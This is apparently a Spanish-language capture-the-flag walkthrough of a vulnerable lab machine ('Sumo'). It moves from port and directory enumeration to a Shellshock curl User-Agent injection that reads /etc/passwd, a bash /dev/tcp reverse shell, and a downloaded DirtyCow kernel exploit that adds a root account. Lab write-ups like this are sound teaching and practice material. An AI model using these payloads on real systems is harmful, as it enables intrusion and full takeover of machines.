Escaneo de puertos

```
nmap -p- --min-rate 5000 -sS <IP>
```

Info:

```
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-30 11:46 EDT
Nmap scan report for 192.168.5.156
Host is up (0.00034s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 5.9p1 Debian 5ubuntu1.10 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   1024 06:cb:9e:a3:af:f0:10:48:c4:17:93:4a:2c:45:d9:48 (DSA)
|   2048 b7:c5:42:7b:ba:ae:9b:9b:71:90:e7:47:b4:a4:de:5a (RSA)
|_  256 fa:81:cd:00:2d:52:66:0b:70:fc:b8:40:fa:db:18:30 (ECDSA)
80/tcp open  http    Apache httpd 2.2.22 ((Ubuntu))
|_http-server-header: Apache/2.2.22 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
MAC Address: 00:0C:29:8B:C7:3B (VMware)
Warning: OSScan results may be unreliable because we could not find at least 1 open
and 1 closed port
Device type: general purpose
Running: Linux 2.6.X|3.X
OS CPE: cpe:/o:linux:linux_kernel:2.6 cpe:/o:linux:linux_kernel:3
OS details: Linux 2.6.32 - 3.5
Network Distance: 1 hop
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

TRACEROUTE
HOP RTT     ADDRESS
1   0.34 ms 192.168.5.156

OS and Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.81 seconds
```

Gobuster

```
gobuster dir -u http://<IP>/ -w <WORDLIST> -x php,html,txt -t 50 -k
```

Info:

```
===============================================================
Gobuster v3.6
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url:                     http://192.168.5.156/
[+] Method:                  GET
[+] Threads:                 50
[+] Wordlist:                /usr/share/wordlists/dirb/big.txt
[+] Negative Status codes:   404
[+] User Agent:              gobuster/3.6
[+] Extensions:              php,html,txt
[+] Timeout:                 10s
===============================================================
```

```
Starting gobuster in directory enumeration mode
===============================================================
/.htpasswd.txt        (Status: 403) [Size: 294]
/.htaccess.txt        (Status: 403) [Size: 294]
/.htpasswd.html       (Status: 403) [Size: 295]
/.htaccess.php        (Status: 403) [Size: 294]
/.htpasswd            (Status: 403) [Size: 290]
/.htpasswd.php        (Status: 403) [Size: 294]
/.htaccess.html       (Status: 403) [Size: 295]
/.htaccess            (Status: 403) [Size: 290]
/cgi-bin/             (Status: 403) [Size: 289]
/cgi-bin/.html        (Status: 403) [Size: 294]
/index.html           (Status: 200) [Size: 177]
/index                (Status: 200) [Size: 177]
/server-status        (Status: 403) [Size: 294]
Progress: 81876 / 81880 (100.00%)
===============================================================
Finished
===============================================================
```

Por lo que vemos aqui no muestra nada interesante...

Nikto

```
nikto -h <IP>
```

Info:

```
- Nikto v2.5.0 ---------------------------------------------------------------
----- + Target IP: 192.168.5.156 + Target Hostname: 192.168.5.156 + Target Port: 80 +
Start Time: 2024-05-30 12:09:48 (GMT-4) -------------------------------------------
------------------------------ + Server: Apache/2.2.22 (Ubuntu) + /: Server may leak
inodes via ETags, header found with file /, inode: 1706318, size: 177, mtime: Mon May
11 13:55:10 2020. See: http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2003-1418 +
/: The anti-clickjacking X-Frame-Options header is not present. See:
https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options + /: The X-
Content-Type-Options header is not set. This could allow the user agent to render the
content of the site in a different fashion to the MIME type. See:
https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-
type-header/ + /index: Uncommon header 'tcn' found, with contents: list. + /index:
Apache mod_negotiation is enabled with MultiViews, which allows attackers to easily
brute force file names. The following alternatives for 'index' were found:
index.html. See:
http://www.wisec.it/sectou.php?id=4698ebdc59d15,https://exchange.xforce.ibmcloud.com/
vulnerabilities/8275 + Apache/2.2.22 appears to be outdated (current is at least
Apache/2.4.54). Apache 2.2.34 is the EOL for the 2.x branch. + /cgi-bin/test:
Uncommon header '93e4r0-cve-2014-6271' found, with contents: true. + /cgi-bin/test:
Site appears vulnerable to the 'shellshock' vulnerability. See:
http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6278 + /cgi-bin/test.sh: Site
appears vulnerable to the 'shellshock' vulnerability. See: http://cve.mitre.org/cgi-
bin/cvename.cgi?name=CVE-2014-6278 + OPTIONS: Allowed HTTP Methods: OPTIONS, GET,
HEAD, POST . + /cgi-bin/test/test.cgi: This might be interesting. + /icons/README:
Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-
to-iconsreadme/ + /#wp-config.php#: #wp-config.php# file found. This file contains
the credentials. + 8909 requests: 0 error(s) and 13 item(s) reported on remote host +
```

```
End Time: 2024-05-30 12:10:12 (GMT-4) (24 seconds) ----------------------------------
---------------------------------------- + 1 host(s) tested
```

Con esto vemos una posible vulnerabilidad llamada `shellshock` en la ubicacion `/cgi-bin/test` por lo que haremos lo siguiente para comprobarlo...

curl

```
curl -H "User-Agent: () { :; }; echo; echo; /bin/cat /etc/passwd" http://<IP>/cgi-
bin/test
```

Info:

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
proxy:x:13:13:proxy:/bin:/bin/sh
www-data:x:33:33:www-data:/var/www:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
syslog:x:101:103::/home/syslog:/bin/false
messagebus:x:102:104::/var/run/dbus:/bin/false
sumo:x:1000:1000:sumo,,,:/home/sumo:/bin/bash
sshd:x:103:65534::/var/run/sshd:/usr/sbin/nologin
```

Veremos que si funciona y nos muestra todo el archivo de `passwd`, por lo que ahora sabiendo esto nos haremos una `Reverse Shell`...

Primero estaremos a la escucha...

```
nc -lvnp <PORT>

curl -H "User-Agent: () { :; }; echo; echo; /bin/bash -i >& /dev/tcp/<IP>/<PORT>
0>&1" http://192.168.5.156/cgi-bin/test
```

Info:

```
listening on [any] 7777 ...
connect to [192.168.5.129] from (UNKNOWN) [192.168.5.156] 56194
bash: no job control in this shell
www-data@ubuntu:/usr/lib/cgi-bin$
```

Y ya lo tendriamos, ahora nos exportamos los terminos para poder sanitizarla un poco...

```
export TERM=xterm
```

Si hacemos lo sigiente...

```
uname -a
```

o

```
uname -r
```

Nos mostrara lo siguiente...

```
Linux ubuntu 3.2.0-23-generic #36-Ubuntu SMP Tue Apr 10 20:39:51 UTC 2012 x86_64
x86_64 x86_64 GNU/Linux

3.2.0-23-generic
```

Por lo que ya sabemos que es vulnerable con el famoso exploit del kernel de `DirtyCow`, por lo que nos vamos a la siguiente URL para descargarnos el exploit y depues seguimos los siguientes pasos...

URL = https://www.exploit-db.com/exploits/40839

```
40839.c
```

Maquina `Host`:

```
python3 -m http.server 80
```

Maquina `Victima`:

```
wget http://<IP>/40839.c
```

Una vez teniendolo en nuestra carpeta `/tmp/` haremos lo siguiente con el archivo `33589.c`...

```
gcc -pthread 40839.c -o exploit -lcrypt
```

Nos dara el siguiente error...

```
gcc: error trying to exec 'cc1': execvp: No such file or directory
```

Hacemos lo siguiente...

```
PATH=PATH$:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/lib/gcc/
x86_64-linux-gnu/4.8/;export PATH
```

Ahora si lo volvemos a ejecutar nos dejara...

```
gcc -pthread 40839.c -o exploit -lcrypt
```

Ejecutamos el `exploit`...

```
./exploit
```

Info:

```
Enter your new password: 1234
/etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fionu3giiS71.:0:0:pwned:/root:/bin/bash

mmap: 7f4d3ceb4000
ptrace 0
Done! Check /etc/passwd to see if the new user was created.
```

```
You can log in with the username 'firefart' and the password '1234'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
www-data@ubuntu:/tmp$ /etc/passwd successfully backed up to /tmp/passwd.bak
Complete line:
firefart:fionu3giiS71.:0:0:pwned:/root:/bin/bash

mmap: 7f4d3ceb4000
madvise 0

Done! Check /etc/passwd to see if the new user was created.
You can log in with the username 'firefart' and the password '1234'.


DON'T FORGET TO RESTORE! $ mv /tmp/passwd.bak /etc/passwd
```

Si hacemos lo siguiente...

```
cat /etc/passwd

firefart:fionu3giiS71.:0:0:pwned:/root:/bin/bash
```

Por lo que haremos lo siguiente, habiendo puesto nosotros la `password` a ese usuario creado podremos cambiarnos a el teniendo privilegios de `root`...

```
ssh firefart@<IP>
```

Metemos la contraseña...

```
The authenticity of host '192.168.5.156 (192.168.5.156)' can't be established.
ECDSA key fingerprint is SHA256:G8HZXu6SUrixt/obia/CUlTgdJK9JaFKXwulm6uUrbQ.
This key is not known by any other names.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '192.168.5.156' (ECDSA) to the list of known hosts.
firefart@192.168.5.156's password:
Welcome to Ubuntu 12.04 LTS (GNU/Linux 3.2.0-23-generic x86_64)

 * Documentation:  https://help.ubuntu.com/
New release '14.04.6 LTS' available.
Run 'do-release-upgrade' to upgrade to it.

Last login: Mon May 11 11:47:26 2020
firefart@ubuntu:~#
```

Por lo que ya seriamos `root`, leemos la flag de `root`...

root.txt (flag)

```
{Sum0-SunCSR-2020_r001}
```